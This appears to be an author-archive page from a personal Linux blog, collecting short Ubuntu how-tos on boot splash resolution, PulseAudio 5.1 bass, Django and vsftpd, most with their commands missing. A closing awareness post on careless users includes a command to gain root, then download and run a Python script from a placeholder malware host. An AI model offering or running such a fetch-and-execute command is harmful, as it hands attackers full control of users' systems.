Author Archives: cviorel - Page 6

Custom usplash resolution in Ubuntu

Recently I made a clean install of Ubuntu 9.04 on my Thinkpad T61.
I configured the figerprint, the accelerometer is reporting correct values.
I did not like the default resolution at boot. So I created a custom usplash.conf file:

I should contain these lines:

The next step was to update the “initial RAM disk”, that is used when the system boots up:

Next, I modified my /boot/grub/menu.lst file.
I added as a parameter for the current kernel the value vga=872:

Nice and clean!

Auto update for Debian/Ubuntu

I use the following script to automatically update my Ubuntu box.
I don’t recommend using this on your production servers!

Note that there are some dangers regarding automatic updates. You can read more about it here.

No LFE (Low-Frequency Effects) in Ubuntu 9.04 (Jaunty Jackalope)

There is a new catch if you want to enable 5.1 surround sound in Ubuntu 9.04. First you need to follow the same steps like you did for Hardy Heron. There is an old post I wrote about it.
In this new version of PulseAudio they don’t synthesize an LFE signal anymore by default.
They introduced this new option called disable-lfe-remixing.

When upmixing or downmixing ignore LFE channels. When this option is on the output LFE channel will only get a signal when an input LFE channel is available as well. If no input LFE channel is available the output LFE channel will always be 0. If no output LFE channel is available the signal on the input LFE channel will be ignored. Defaults to “on”.

The solution to get you bass back is to set this option to no.
As a result, here are the steps you need to take:

Uncomment the line containing:

and replace '2' with '6' (if you have a 7.1 card, replace '2' with '8').
Next, set disable-lfe-remixing option to no

Restart your computer and you’re in business.
NOTE: Documentation for this article is taken from here and here.

Apply themes to GTK apps running as root

When you install custom GTK themes, applications running as root will still look ugly.
To make your current installed themes available to the root account as well, you just need to run these in your terminal:

Enjoy!

Songbird: glibc 2.8 detects invalid free() pointer

Sometimes I use Songbird to listen to my music files or internet radio. On some systems running Ubuntu 8.10 it does not run. The error is a known bug reported by some people.
The resolution is simple. Just remove libvisual-0.4-plugins.

Enjoy your music!

Install Django on Ubuntu 8.10

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
To install it on your Ubuntu, follow the next steps:

1. Install python (if you have it installed, skip this step)

2. Download the tarball from the Django Project website. You can download this file to your home directory.

3. Now we can just move this entire package to somewhere logical. You can move it anywhere you like, but remember to modify the links accordingly. I use /usr/local/lib/.

4. Link to it from the Python site-packages directory, and create a link to the django-admin.py executable.

5. Test it by changing to your home directory and running django-admin!

You should see this:

6. Happy programming!

New artwork for Ubuntu 9.04 Jaunty Jackalope

In the next version of Ubuntu, codenamed Jaunty Jackalope, the users will be prestented with new looks. Softpedia has already posted screenshots of the new login screen, themes, and USplash theme. Though no new background has been selected yet, there are already some great ones.

How to setup vsftpd FTP on Ubuntu Linux

vsftpd is a GPL licensed FTP server for UNIX systems, including Linux. It is secure and extremely fast.
Using this instructions, you can set up vsftpd on variuos linux distros. This tutorial will show you how to set up your own ftp in Ubuntu Linux.

1. Install vsftpd

2. Change the configurations file
Open the vsftpd.conf configuration file with a text editor. The file is located in the /etc directory.

Once you are editing the file, you’ll want to make a few changes. Change this:

To this:

This will disallow anonymous access to your FTP server. Unless you have a really good reason for permitting anonymous access, and you know what you’re doing in terms of network security, I’d recommend leaving the anonymous access off. Especially if your Ubuntu FTP server is sitting on the Internet.

Of course, with anonymous access off, you’ll need to permit local users to log in. Do this by changing this directive:

To this:

(Putting a # in front of a line disables it; this is called “commenting it out”.)

3. Adding a “fake” shell
Edit the /etc/shells file and add a non-existent shell name like /bin/false, for example. This fake shell will limit access on the system for FTP users.

/bin/false is our added no-existent shell. With Red Hat Linux, a special device name /dev/null exists for purposes such as these.

4. Setup an FTP user account
It’s important to give to your strictly FTP users no real shell account on the Linux system. In this manner, if for any reasons someone could successfully get out of the FTP chrooted environment, it would not have the possibility of executing any user tasks since it doesn’t have a bash shell. First, create new users for this purpose.
This has to be separate from a regular user account with unlimited access because of how the chroot environment works. Chroot makes it appear from the user’s perspective as if the level of the file system you’ve placed them in is the top level of the file system.
Use the following command to create users in the /etc/passwd file. This step must be done for each additional new user you allow to access your FTP server.

– The mkdir command will create the ftp/ftpuser directory under the /home directory to handle all FTP users’ home directories we’ll have on the server.
– The useradd command will add the new user named ftpuser to our Linux server.
– Finally, the passwd command will set the password for this user ftpuser.

Once you’ve made these changes, restart the vsftpd service with this command:

5. Override config option specified in the manual page, on a per-user basis (optional)
If you want to make custom changes in the behaviour of the ftp server on a per-user basis, you should know that vsftpd has a powerful option that allows you to do this.
If you set user_config_dir to be /etc/vsftpd_user_conf and then log on as the user “chris”, then vsftpd will apply the settings in the file /etc/vsftpd_user_conf/chris for the duration of the session. The format of this file is detailed in the manual!
Please note that not all settings are effective on a per-user basis. For example, many settings only prior to the user’s session being started. Examples of settings which will not affect any behviour on a per-user basis include listen_address, banner_file, max_per_ip, max_clients, xferlog_file, etc.

Monitor your downtime


easy.MEDIA launched a website monitoring service (www.e-nagios.com) based on nagios.
The service offers SMS/Email notification to meet your need for mobility.
The servers/websites will be crossed-monitored to avoid false alarms.

How to write a linux virus

After reading an interesting article about linux “viruses” (the comments are interersing, too), I decided to raise the alarm about the source of many security related issues
in today’s computers: the user.
The author talks about the many ways to compromise a linux box, even if you are not root.
I will not get into techinal methods, you can find them on the internet or by reading the original article. Instead I will talk about the regular user.
From my experience I know for sure that a regular user could compromise his own system.
Don’t belive me? Make a little test.
1. For Windows
– rename any executable file as “virus.exe”, put it on a web server and give the link to your coworkers by email, instant messenger, whatever.
2. For Linux
– put them to open terminal and type “sudo su -” and then “wget http://www.your_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”
You’ll be surprised by their actions. You’ll find out that many will open the link or run the commands.
For many of you this will not be a surprise. You’ll say: “I know someone who will instinctively click on the link!”.
Think about that every one of us knows a person like that.
It’s not a hard thing to make the user click on a link or run a command.
The attackers just have to find ways to extract informations from the compromised box.
In the end of the article, the author talks about solutions to this problem.

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken seriously.

In conclusion, there are no bullet-proof systems, only users who are too careless and click every link in their’s mouse way.